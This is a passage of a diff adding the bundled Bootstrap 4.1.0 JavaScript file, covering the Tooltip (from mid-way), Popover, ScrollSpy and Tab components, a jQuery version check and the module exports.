+          $$$1(_this2.element).trigger(_this2.constructor.Event.HIDDEN);
+
+          if (_this2._popper !== null) {
+            _this2._popper.destroy();
+          }
+
+          if (callback) {
+            callback();
+          }
+        };
+
+        $$$1(this.element).trigger(hideEvent);
+
+        if (hideEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        $$$1(tip).removeClass(ClassName.SHOW); // If this is a touch-enabled device we remove the extra
+        // empty mouseover listeners we added for iOS support
+
+        if ('ontouchstart' in document.documentElement) {
+          $$$1(document.body).children().off('mouseover', null, $$$1.noop);
+        }
+
+        this._activeTrigger[Trigger.CLICK] = false;
+        this._activeTrigger[Trigger.FOCUS] = false;
+        this._activeTrigger[Trigger.HOVER] = false;
+
+        if ($$$1(this.tip).hasClass(ClassName.FADE)) {
+          var transitionDuration = Util.getTransitionDurationFromElement(tip);
+          $$$1(tip).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
+        } else {
+          complete();
+        }
+
+        this._hoverState = '';
+      };
+
+      _proto.update = function update() {
+        if (this._popper !== null) {
+          this._popper.scheduleUpdate();
+        }
+      }; // Protected
+
+
+      _proto.isWithContent = function isWithContent() {
+        return Boolean(this.getTitle());
+      };
+
+      _proto.addAttachmentClass = function addAttachmentClass(attachment) {
+        $$$1(this.getTipElement()).addClass(CLASS_PREFIX + "-" + attachment);
+      };
+
+      _proto.getTipElement = function getTipElement() {
+        this.tip = this.tip || $$$1(this.config.template)[0];
+        return this.tip;
+      };
+
+      _proto.setContent = function setContent() {
+        var $tip = $$$1(this.getTipElement());
+        this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle());
+        $tip.removeClass(ClassName.FADE + " " + ClassName.SHOW);
+      };
+
+      _proto.setElementContent = function setElementContent($element, content) {
+        var html = this.config.html;
+
+        if (typeof content === 'object' && (content.nodeType || content.jquery)) {
+          // Content is a DOM node or a jQuery
+          if (html) {
+            if (!$$$1(content).parent().is($element)) {
+              $element.empty().append(content);
+            }
+          } else {
+            $element.text($$$1(content).text());
+          }
+        } else {
+          $element[html ? 'html' : 'text'](content);
+        }
+      };
+
+      _proto.getTitle = function getTitle() {
+        var title = this.element.getAttribute('data-original-title');
+
+        if (!title) {
+          title = typeof this.config.title === 'function' ? this.config.title.call(this.element) : this.config.title;
+        }
+
+        return title;
+      }; // Private
+
+
+      _proto._getAttachment = function _getAttachment(placement) {
+        return AttachmentMap[placement.toUpperCase()];
+      };
+
+      _proto._setListeners = function _setListeners() {
+        var _this3 = this;
+
+        var triggers = this.config.trigger.split(' ');
+        triggers.forEach(function (trigger) {
+          if (trigger === 'click') {
+            $$$1(_this3.element).on(_this3.constructor.Event.CLICK, _this3.config.selector, function (event) {
+              return _this3.toggle(event);
+            });
+          } else if (trigger !== Trigger.MANUAL) {
+            var eventIn = trigger === Trigger.HOVER ? _this3.constructor.Event.MOUSEENTER : _this3.constructor.Event.FOCUSIN;
+            var eventOut = trigger === Trigger.HOVER ? _this3.constructor.Event.MOUSELEAVE : _this3.constructor.Event.FOCUSOUT;
+            $$$1(_this3.element).on(eventIn, _this3.config.selector, function (event) {
+              return _this3._enter(event);
+            }).on(eventOut, _this3.config.selector, function (event) {
+              return _this3._leave(event);
+            });
+          }
+
+          $$$1(_this3.element).closest('.modal').on('hide.bs.modal', function () {
+            return _this3.hide();
+          });
+        });
+
+        if (this.config.selector) {
+          this.config = _objectSpread({}, this.config, {
+            trigger: 'manual',
+            selector: ''
+          });
+        } else {
+          this._fixTitle();
+        }
+      };
+
+      _proto._fixTitle = function _fixTitle() {
+        var titleType = typeof this.element.getAttribute('data-original-title');
+
+        if (this.element.getAttribute('title') || titleType !== 'string') {
+          this.element.setAttribute('data-original-title', this.element.getAttribute('title') || '');
+          this.element.setAttribute('title', '');
+        }
+      };
+
+      _proto._enter = function _enter(event, context) {
+        var dataKey = this.constructor.DATA_KEY;
+        context = context || $$$1(event.currentTarget).data(dataKey);
+
+        if (!context) {
+          context = new this.constructor(event.currentTarget, this._getDelegateConfig());
+          $$$1(event.currentTarget).data(dataKey, context);
+        }
+
+        if (event) {
+          context._activeTrigger[event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER] = true;
+        }
+
+        if ($$$1(context.getTipElement()).hasClass(ClassName.SHOW) || context._hoverState === HoverState.SHOW) {
+          context._hoverState = HoverState.SHOW;
+          return;
+        }
+
+        clearTimeout(context._timeout);
+        context._hoverState = HoverState.SHOW;
+
+        if (!context.config.delay || !context.config.delay.show) {
+          context.show();
+          return;
+        }
+
+        context._timeout = setTimeout(function () {
+          if (context._hoverState === HoverState.SHOW) {
+            context.show();
+          }
+        }, context.config.delay.show);
+      };
+
+      _proto._leave = function _leave(event, context) {
+        var dataKey = this.constructor.DATA_KEY;
+        context = context || $$$1(event.currentTarget).data(dataKey);
+
+        if (!context) {
+          context = new this.constructor(event.currentTarget, this._getDelegateConfig());
+          $$$1(event.currentTarget).data(dataKey, context);
+        }
+
+        if (event) {
+          context._activeTrigger[event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER] = false;
+        }
+
+        if (context._isWithActiveTrigger()) {
+          return;
+        }
+
+        clearTimeout(context._timeout);
+        context._hoverState = HoverState.OUT;
+
+        if (!context.config.delay || !context.config.delay.hide) {
+          context.hide();
+          return;
+        }
+
+        context._timeout = setTimeout(function () {
+          if (context._hoverState === HoverState.OUT) {
+            context.hide();
+          }
+        }, context.config.delay.hide);
+      };
+
+      _proto._isWithActiveTrigger = function _isWithActiveTrigger() {
+        for (var trigger in this._activeTrigger) {
+          if (this._activeTrigger[trigger]) {
+            return true;
+          }
+        }
+
+        return false;
+      };
+
+      _proto._getConfig = function _getConfig(config) {
+        config = _objectSpread({}, this.constructor.Default, $$$1(this.element).data(), config);
+
+        if (typeof config.delay === 'number') {
+          config.delay = {
+            show: config.delay,
+            hide: config.delay
+          };
+        }
+
+        if (typeof config.title === 'number') {
+          config.title = config.title.toString();
+        }
+
+        if (typeof config.content === 'number') {
+          config.content = config.content.toString();
+        }
+
+        Util.typeCheckConfig(NAME, config, this.constructor.DefaultType);
+        return config;
+      };
+
+      _proto._getDelegateConfig = function _getDelegateConfig() {
+        var config = {};
+
+        if (this.config) {
+          for (var key in this.config) {
+            if (this.constructor.Default[key] !== this.config[key]) {
+              config[key] = this.config[key];
+            }
+          }
+        }
+
+        return config;
+      };
+
+      _proto._cleanTipClass = function _cleanTipClass() {
+        var $tip = $$$1(this.getTipElement());
+        var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX);
+
+        if (tabClass !== null && tabClass.length > 0) {
+          $tip.removeClass(tabClass.join(''));
+        }
+      };
+
+      _proto._handlePopperPlacementChange = function _handlePopperPlacementChange(data) {
+        this._cleanTipClass();
+
+        this.addAttachmentClass(this._getAttachment(data.placement));
+      };
+
+      _proto._fixTransition = function _fixTransition() {
+        var tip = this.getTipElement();
+        var initConfigAnimation = this.config.animation;
+
+        if (tip.getAttribute('x-placement') !== null) {
+          return;
+        }
+
+        $$$1(tip).removeClass(ClassName.FADE);
+        this.config.animation = false;
+        this.hide();
+        this.show();
+        this.config.animation = initConfigAnimation;
+      }; // Static
+
+
+      Tooltip._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          var _config = typeof config === 'object' && config;
+
+          if (!data && /dispose|hide/.test(config)) {
+            return;
+          }
+
+          if (!data) {
+            data = new Tooltip(this, _config);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config]();
+          }
+        });
+      };
+
+      _createClass(Tooltip, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }, {
+        key: "NAME",
+        get: function get() {
+          return NAME;
+        }
+      }, {
+        key: "DATA_KEY",
+        get: function get() {
+          return DATA_KEY;
+        }
+      }, {
+        key: "Event",
+        get: function get() {
+          return Event;
+        }
+      }, {
+        key: "EVENT_KEY",
+        get: function get() {
+          return EVENT_KEY;
+        }
+      }, {
+        key: "DefaultType",
+        get: function get() {
+          return DefaultType;
+        }
+      }]);
+
+      return Tooltip;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1.fn[NAME] = Tooltip._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Tooltip;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Tooltip._jQueryInterface;
+    };
+
+    return Tooltip;
+  }($, Popper);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): popover.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Popover = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'popover';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.popover';
+    var EVENT_KEY = "." + DATA_KEY;
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var CLASS_PREFIX = 'bs-popover';
+    var BSCLS_PREFIX_REGEX = new RegExp("(^|\\s)" + CLASS_PREFIX + "\\S+", 'g');
+
+    var Default = _objectSpread({}, Tooltip.Default, {
+      placement: 'right',
+      trigger: 'click',
+      content: '',
+      template: '<div class="popover" role="tooltip">' + '<div class="arrow"></div>' + '<h3 class="popover-header"></h3>' + '<div class="popover-body"></div></div>'
+    });
+
+    var DefaultType = _objectSpread({}, Tooltip.DefaultType, {
+      content: '(string|element|function)'
+    });
+
+    var ClassName = {
+      FADE: 'fade',
+      SHOW: 'show'
+    };
+    var Selector = {
+      TITLE: '.popover-header',
+      CONTENT: '.popover-body'
+    };
+    var Event = {
+      HIDE: "hide" + EVENT_KEY,
+      HIDDEN: "hidden" + EVENT_KEY,
+      SHOW: "show" + EVENT_KEY,
+      SHOWN: "shown" + EVENT_KEY,
+      INSERTED: "inserted" + EVENT_KEY,
+      CLICK: "click" + EVENT_KEY,
+      FOCUSIN: "focusin" + EVENT_KEY,
+      FOCUSOUT: "focusout" + EVENT_KEY,
+      MOUSEENTER: "mouseenter" + EVENT_KEY,
+      MOUSELEAVE: "mouseleave" + EVENT_KEY
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Popover =
+    /*#__PURE__*/
+    function (_Tooltip) {
+      _inheritsLoose(Popover, _Tooltip);
+
+      function Popover() {
+        return _Tooltip.apply(this, arguments) || this;
+      }
+
+      var _proto = Popover.prototype;
+
+      // Overrides
+      _proto.isWithContent = function isWithContent() {
+        return this.getTitle() || this._getContent();
+      };
+
+      _proto.addAttachmentClass = function addAttachmentClass(attachment) {
+        $$$1(this.getTipElement()).addClass(CLASS_PREFIX + "-" + attachment);
+      };
+
+      _proto.getTipElement = function getTipElement() {
+        this.tip = this.tip || $$$1(this.config.template)[0];
+        return this.tip;
+      };
+
+      _proto.setContent = function setContent() {
+        var $tip = $$$1(this.getTipElement()); // We use append for html objects to maintain js events
+
+        this.setElementContent($tip.find(Selector.TITLE), this.getTitle());
+
+        var content = this._getContent();
+
+        if (typeof content === 'function') {
+          content = content.call(this.element);
+        }
+
+        this.setElementContent($tip.find(Selector.CONTENT), content);
+        $tip.removeClass(ClassName.FADE + " " + ClassName.SHOW);
+      }; // Private
+
+
+      _proto._getContent = function _getContent() {
+        return this.element.getAttribute('data-content') || this.config.content;
+      };
+
+      _proto._cleanTipClass = function _cleanTipClass() {
+        var $tip = $$$1(this.getTipElement());
+        var tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX);
+
+        if (tabClass !== null && tabClass.length > 0) {
+          $tip.removeClass(tabClass.join(''));
+        }
+      }; // Static
+
+
+      Popover._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          var _config = typeof config === 'object' ? config : null;
+
+          if (!data && /destroy|hide/.test(config)) {
+            return;
+          }
+
+          if (!data) {
+            data = new Popover(this, _config);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config]();
+          }
+        });
+      };
+
+      _createClass(Popover, null, [{
+        key: "VERSION",
+        // Getters
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }, {
+        key: "NAME",
+        get: function get() {
+          return NAME;
+        }
+      }, {
+        key: "DATA_KEY",
+        get: function get() {
+          return DATA_KEY;
+        }
+      }, {
+        key: "Event",
+        get: function get() {
+          return Event;
+        }
+      }, {
+        key: "EVENT_KEY",
+        get: function get() {
+          return EVENT_KEY;
+        }
+      }, {
+        key: "DefaultType",
+        get: function get() {
+          return DefaultType;
+        }
+      }]);
+
+      return Popover;
+    }(Tooltip);
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1.fn[NAME] = Popover._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Popover;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Popover._jQueryInterface;
+    };
+
+    return Popover;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): scrollspy.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var ScrollSpy = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'scrollspy';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.scrollspy';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var Default = {
+      offset: 10,
+      method: 'auto',
+      target: ''
+    };
+    var DefaultType = {
+      offset: 'number',
+      method: 'string',
+      target: '(string|element)'
+    };
+    var Event = {
+      ACTIVATE: "activate" + EVENT_KEY,
+      SCROLL: "scroll" + EVENT_KEY,
+      LOAD_DATA_API: "load" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      DROPDOWN_ITEM: 'dropdown-item',
+      DROPDOWN_MENU: 'dropdown-menu',
+      ACTIVE: 'active'
+    };
+    var Selector = {
+      DATA_SPY: '[data-spy="scroll"]',
+      ACTIVE: '.active',
+      NAV_LIST_GROUP: '.nav, .list-group',
+      NAV_LINKS: '.nav-link',
+      NAV_ITEMS: '.nav-item',
+      LIST_ITEMS: '.list-group-item',
+      DROPDOWN: '.dropdown',
+      DROPDOWN_ITEMS: '.dropdown-item',
+      DROPDOWN_TOGGLE: '.dropdown-toggle'
+    };
+    var OffsetMethod = {
+      OFFSET: 'offset',
+      POSITION: 'position'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var ScrollSpy =
+    /*#__PURE__*/
+    function () {
+      function ScrollSpy(element, config) {
+        var _this = this;
+
+        this._element = element;
+        this._scrollElement = element.tagName === 'BODY' ? window : element;
+        this._config = this._getConfig(config);
+        this._selector = this._config.target + " " + Selector.NAV_LINKS + "," + (this._config.target + " " + Selector.LIST_ITEMS + ",") + (this._config.target + " " + Selector.DROPDOWN_ITEMS);
+        this._offsets = [];
+        this._targets = [];
+        this._activeTarget = null;
+        this._scrollHeight = 0;
+        $$$1(this._scrollElement).on(Event.SCROLL, function (event) {
+          return _this._process(event);
+        });
+        this.refresh();
+
+        this._process();
+      } // Getters
+
+
+      var _proto = ScrollSpy.prototype;
+
+      // Public
+      _proto.refresh = function refresh() {
+        var _this2 = this;
+
+        var autoMethod = this._scrollElement === this._scrollElement.window ? OffsetMethod.OFFSET : OffsetMethod.POSITION;
+        var offsetMethod = this._config.method === 'auto' ? autoMethod : this._config.method;
+        var offsetBase = offsetMethod === OffsetMethod.POSITION ? this._getScrollTop() : 0;
+        this._offsets = [];
+        this._targets = [];
+        this._scrollHeight = this._getScrollHeight();
+        var targets = $$$1.makeArray($$$1(this._selector));
+        targets.map(function (element) {
+          var target;
+          var targetSelector = Util.getSelectorFromElement(element);
+
+          if (targetSelector) {
+            target = $$$1(targetSelector)[0];
+          }
+
+          if (target) {
+            var targetBCR = target.getBoundingClientRect();
+
+            if (targetBCR.width || targetBCR.height) {
+              // TODO (fat): remove sketch reliance on jQuery position/offset
+              return [$$$1(target)[offsetMethod]().top + offsetBase, targetSelector];
+            }
+          }
+
+          return null;
+        }).filter(function (item) {
+          return item;
+        }).sort(function (a, b) {
+          return a[0] - b[0];
+        }).forEach(function (item) {
+          _this2._offsets.push(item[0]);
+
+          _this2._targets.push(item[1]);
+        });
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        $$$1(this._scrollElement).off(EVENT_KEY);
+        this._element = null;
+        this._scrollElement = null;
+        this._config = null;
+        this._selector = null;
+        this._offsets = null;
+        this._targets = null;
+        this._activeTarget = null;
+        this._scrollHeight = null;
+      }; // Private
+
+
+      _proto._getConfig = function _getConfig(config) {
+        config = _objectSpread({}, Default, config);
+
+        if (typeof config.target !== 'string') {
+          var id = $$$1(config.target).attr('id');
+
+          if (!id) {
+            id = Util.getUID(NAME);
+            $$$1(config.target).attr('id', id);
+          }
+
+          config.target = "#" + id;
+        }
+
+        Util.typeCheckConfig(NAME, config, DefaultType);
+        return config;
+      };
+
+      _proto._getScrollTop = function _getScrollTop() {
+        return this._scrollElement === window ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop;
+      };
+
+      _proto._getScrollHeight = function _getScrollHeight() {
+        return this._scrollElement.scrollHeight || Math.max(document.body.scrollHeight, document.documentElement.scrollHeight);
+      };
+
+      _proto._getOffsetHeight = function _getOffsetHeight() {
+        return this._scrollElement === window ? window.innerHeight : this._scrollElement.getBoundingClientRect().height;
+      };
+
+      _proto._process = function _process() {
+        var scrollTop = this._getScrollTop() + this._config.offset;
+
+        var scrollHeight = this._getScrollHeight();
+
+        var maxScroll = this._config.offset + scrollHeight - this._getOffsetHeight();
+
+        if (this._scrollHeight !== scrollHeight) {
+          this.refresh();
+        }
+
+        if (scrollTop >= maxScroll) {
+          var target = this._targets[this._targets.length - 1];
+
+          if (this._activeTarget !== target) {
+            this._activate(target);
+          }
+
+          return;
+        }
+
+        if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {
+          this._activeTarget = null;
+
+          this._clear();
+
+          return;
+        }
+
+        for (var i = this._offsets.length; i--;) {
+          var isActiveTarget = this._activeTarget !== this._targets[i] && scrollTop >= this._offsets[i] && (typeof this._offsets[i + 1] === 'undefined' || scrollTop < this._offsets[i + 1]);
+
+          if (isActiveTarget) {
+            this._activate(this._targets[i]);
+          }
+        }
+      };
+
+      _proto._activate = function _activate(target) {
+        this._activeTarget = target;
+
+        this._clear();
+
+        var queries = this._selector.split(','); // eslint-disable-next-line arrow-body-style
+
+
+        queries = queries.map(function (selector) {
+          return selector + "[data-target=\"" + target + "\"]," + (selector + "[href=\"" + target + "\"]");
+        });
+        var $link = $$$1(queries.join(','));
+
+        if ($link.hasClass(ClassName.DROPDOWN_ITEM)) {
+          $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE);
+          $link.addClass(ClassName.ACTIVE);
+        } else {
+          // Set triggered link as active
+          $link.addClass(ClassName.ACTIVE); // Set triggered links parents as active
+          // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor
+
+          $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_LINKS + ", " + Selector.LIST_ITEMS).addClass(ClassName.ACTIVE); // Handle special case when .nav-link is inside .nav-item
+
+          $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE);
+        }
+
+        $$$1(this._scrollElement).trigger(Event.ACTIVATE, {
+          relatedTarget: target
+        });
+      };
+
+      _proto._clear = function _clear() {
+        $$$1(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE);
+      }; // Static
+
+
+      ScrollSpy._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          var _config = typeof config === 'object' && config;
+
+          if (!data) {
+            data = new ScrollSpy(this, _config);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config]();
+          }
+        });
+      };
+
+      _createClass(ScrollSpy, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }]);
+
+      return ScrollSpy;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(window).on(Event.LOAD_DATA_API, function () {
+      var scrollSpys = $$$1.makeArray($$$1(Selector.DATA_SPY));
+
+      for (var i = scrollSpys.length; i--;) {
+        var $spy = $$$1(scrollSpys[i]);
+
+        ScrollSpy._jQueryInterface.call($spy, $spy.data());
+      }
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = ScrollSpy._jQueryInterface;
+    $$$1.fn[NAME].Constructor = ScrollSpy;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return ScrollSpy._jQueryInterface;
+    };
+
+    return ScrollSpy;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): tab.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Tab = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'tab';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.tab';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var Event = {
+      HIDE: "hide" + EVENT_KEY,
+      HIDDEN: "hidden" + EVENT_KEY,
+      SHOW: "show" + EVENT_KEY,
+      SHOWN: "shown" + EVENT_KEY,
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      DROPDOWN_MENU: 'dropdown-menu',
+      ACTIVE: 'active',
+      DISABLED: 'disabled',
+      FADE: 'fade',
+      SHOW: 'show'
+    };
+    var Selector = {
+      DROPDOWN: '.dropdown',
+      NAV_LIST_GROUP: '.nav, .list-group',
+      ACTIVE: '.active',
+      ACTIVE_UL: '> li > .active',
+      DATA_TOGGLE: '[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]',
+      DROPDOWN_TOGGLE: '.dropdown-toggle',
+      DROPDOWN_ACTIVE_CHILD: '> .dropdown-menu .active'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Tab =
+    /*#__PURE__*/
+    function () {
+      function Tab(element) {
+        this._element = element;
+      } // Getters
+
+
+      var _proto = Tab.prototype;
+
+      // Public
+      _proto.show = function show() {
+        var _this = this;
+
+        if (this._element.parentNode && this._element.parentNode.nodeType === Node.ELEMENT_NODE && $$$1(this._element).hasClass(ClassName.ACTIVE) || $$$1(this._element).hasClass(ClassName.DISABLED)) {
+          return;
+        }
+
+        var target;
+        var previous;
+        var listElement = $$$1(this._element).closest(Selector.NAV_LIST_GROUP)[0];
+        var selector = Util.getSelectorFromElement(this._element);
+
+        if (listElement) {
+          var itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE;
+          previous = $$$1.makeArray($$$1(listElement).find(itemSelector));
+          previous = previous[previous.length - 1];
+        }
+
+        var hideEvent = $$$1.Event(Event.HIDE, {
+          relatedTarget: this._element
+        });
+        var showEvent = $$$1.Event(Event.SHOW, {
+          relatedTarget: previous
+        });
+
+        if (previous) {
+          $$$1(previous).trigger(hideEvent);
+        }
+
+        $$$1(this._element).trigger(showEvent);
+
+        if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        if (selector) {
+          target = $$$1(selector)[0];
+        }
+
+        this._activate(this._element, listElement);
+
+        var complete = function complete() {
+          var hiddenEvent = $$$1.Event(Event.HIDDEN, {
+            relatedTarget: _this._element
+          });
+          var shownEvent = $$$1.Event(Event.SHOWN, {
+            relatedTarget: previous
+          });
+          $$$1(previous).trigger(hiddenEvent);
+          $$$1(_this._element).trigger(shownEvent);
+        };
+
+        if (target) {
+          this._activate(target, target.parentNode, complete);
+        } else {
+          complete();
+        }
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        this._element = null;
+      }; // Private
+
+
+      _proto._activate = function _activate(element, container, callback) {
+        var _this2 = this;
+
+        var activeElements;
+
+        if (container.nodeName === 'UL') {
+          activeElements = $$$1(container).find(Selector.ACTIVE_UL);
+        } else {
+          activeElements = $$$1(container).children(Selector.ACTIVE);
+        }
+
+        var active = activeElements[0];
+        var isTransitioning = callback && active && $$$1(active).hasClass(ClassName.FADE);
+
+        var complete = function complete() {
+          return _this2._transitionComplete(element, active, callback);
+        };
+
+        if (active && isTransitioning) {
+          var transitionDuration = Util.getTransitionDurationFromElement(active);
+          $$$1(active).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
+        } else {
+          complete();
+        }
+      };
+
+      _proto._transitionComplete = function _transitionComplete(element, active, callback) {
+        if (active) {
+          $$$1(active).removeClass(ClassName.SHOW + " " + ClassName.ACTIVE);
+          var dropdownChild = $$$1(active.parentNode).find(Selector.DROPDOWN_ACTIVE_CHILD)[0];
+
+          if (dropdownChild) {
+            $$$1(dropdownChild).removeClass(ClassName.ACTIVE);
+          }
+
+          if (active.getAttribute('role') === 'tab') {
+            active.setAttribute('aria-selected', false);
+          }
+        }
+
+        $$$1(element).addClass(ClassName.ACTIVE);
+
+        if (element.getAttribute('role') === 'tab') {
+          element.setAttribute('aria-selected', true);
+        }
+
+        Util.reflow(element);
+        $$$1(element).addClass(ClassName.SHOW);
+
+        if (element.parentNode && $$$1(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) {
+          var dropdownElement = $$$1(element).closest(Selector.DROPDOWN)[0];
+
+          if (dropdownElement) {
+            $$$1(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE);
+          }
+
+          element.setAttribute('aria-expanded', true);
+        }
+
+        if (callback) {
+          callback();
+        }
+      }; // Static
+
+
+      Tab._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var $this = $$$1(this);
+          var data = $this.data(DATA_KEY);
+
+          if (!data) {
+            data = new Tab(this);
+            $this.data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config]();
+          }
+        });
+      };
+
+      _createClass(Tab, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }]);
+
+      return Tab;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {
+      event.preventDefault();
+
+      Tab._jQueryInterface.call($$$1(this), 'show');
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Tab._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Tab;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Tab._jQueryInterface;
+    };
+
+    return Tab;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.0.0): index.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  (function ($$$1) {
+    if (typeof $$$1 === 'undefined') {
+      throw new TypeError('Bootstrap\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\'s JavaScript.');
+    }
+
+    var version = $$$1.fn.jquery.split(' ')[0].split('.');
+    var minMajor = 1;
+    var ltMajor = 2;
+    var minMinor = 9;
+    var minPatch = 1;
+    var maxMajor = 4;
+
+    if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) {
+      throw new Error('Bootstrap\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0');
+    }
+  })($);
+
+  exports.Util = Util;
+  exports.Alert = Alert;
+  exports.Button = Button;
+  exports.Carousel = Carousel;
+  exports.Collapse = Collapse;
+  exports.Dropdown = Dropdown;
+  exports.Modal = Modal;
+  exports.Popover = Popover;
+  exports.Scrollspy = ScrollSpy;
+  exports.Tab = Tab;
+  exports.Tooltip = Tooltip;
+
+  Object.defineProperty(exports, '__esModule', { value: true });
+
+})));
